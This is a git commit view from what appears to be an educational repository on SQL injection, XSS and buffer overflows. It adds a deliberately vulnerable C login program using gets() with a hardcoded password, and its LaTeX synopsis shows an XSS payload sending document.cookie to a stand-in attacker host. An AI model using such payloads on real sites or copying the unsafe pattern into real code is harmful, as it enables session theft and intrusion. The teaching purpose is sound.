aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
-rw-r--r--.DS_Storebin0 -> 8196 bytes
-rwxr-xr-xexamples/buffer-overflow/buffer-overflowbin0 -> 8520 bytes
-rw-r--r--examples/buffer-overflow/buffer-overflow.c18
-rw-r--r--examples/sql-injection/index.html (renamed from sql-injection/index.html)0
-rw-r--r--examples/sql-injection/login.php (renamed from sql-injection/login.php)0
-rw-r--r--examples/sql-injection/users.db (renamed from sql-injection/users.db)bin8192 -> 8192 bytes
-rw-r--r--examples/xss/comments.db (renamed from xss/comments.db)bin8192 -> 8192 bytes
-rw-r--r--examples/xss/index.php (renamed from xss/index.php)0
-rw-r--r--synopsis.pdfbin167583 -> 259023 bytes
-rw-r--r--synopsis.tex26
10 files changed, 44 insertions, 0 deletions
diff --git a/.DS_Store b/.DS_Store
new file mode 100644
index 0000000..6049920
--- /dev/null
+++ b/.DS_Store
Binary files differ
diff --git a/examples/buffer-overflow/buffer-overflow b/examples/buffer-overflow/buffer-overflow
new file mode 100755
index 0000000..c518559
--- /dev/null
+++ b/examples/buffer-overflow/buffer-overflow
Binary files differ
diff --git a/examples/buffer-overflow/buffer-overflow.c b/examples/buffer-overflow/buffer-overflow.c
new file mode 100644
index 0000000..96f0ee8
--- /dev/null
+++ b/examples/buffer-overflow/buffer-overflow.c
@@ -0,0 +1,18 @@
+#include <stdio.h>
+#include <string.h>
+
+int main(void)
+{
+ char buf[16];
+ int ok = 0;
+
+ printf("Type admin password: \n");
+ gets(buf);
+
+ if (strcmp(buf, "pass123")) printf("\nWrong password!\n");
+ else ok = 1;
+
+ if (ok) printf("\nLogged in as admin.\n");
+
+ return 0;
+}
diff --git a/sql-injection/index.html b/examples/sql-injection/index.html
index d3e760b..d3e760b 100644
--- a/sql-injection/index.html
+++ b/examples/sql-injection/index.html
diff --git a/sql-injection/login.php b/examples/sql-injection/login.php
index 826c38c..826c38c 100644
--- a/sql-injection/login.php
+++ b/examples/sql-injection/login.php
diff --git a/sql-injection/users.db b/examples/sql-injection/users.db
index 9ddf64e..9ddf64e 100644
--- a/sql-injection/users.db
+++ b/examples/sql-injection/users.db
Binary files differ
diff --git a/xss/comments.db b/examples/xss/comments.db
index 32114c2..32114c2 100644
--- a/xss/comments.db
+++ b/examples/xss/comments.db
Binary files differ
diff --git a/xss/index.php b/examples/xss/index.php
index e645517..e645517 100644
--- a/xss/index.php
+++ b/examples/xss/index.php
diff --git a/synopsis.pdf b/synopsis.pdf
index 25d6747..171a21b 100644
--- a/synopsis.pdf
+++ b/synopsis.pdf
Binary files differ
diff --git a/synopsis.tex b/synopsis.tex
index e844895..9c115c8 100644
--- a/synopsis.tex
+++ b/synopsis.tex
@@ -740,5 +740,31 @@ INSERT INTO Comments VALUES('attacker','hello
<script>document.createElement("img").src =
"http://attackerswebsite.com/" + document.cookie</script>');
\end{minted}
+\newpage
+
+\appendix
+\section{Buffer overflow example}
+
+\subsection{buffer-overflow.c}
+\begin{minted}{c}
+#include <stdio.h>
+#include <string.h>
+
+int main(void)
+{
+ char buf[16];
+ int ok = 0;
+
+ printf("Type admin password: \n");
+ gets(buf);
+
+ if (strcmp(buf, "pass123")) printf("\nWrong password!\n");
+ else ok = 1;
+
+ if (ok) printf("\nLogged in as admin.\n");
+
+ return 0;
+}
+\end{minted}
\end{document}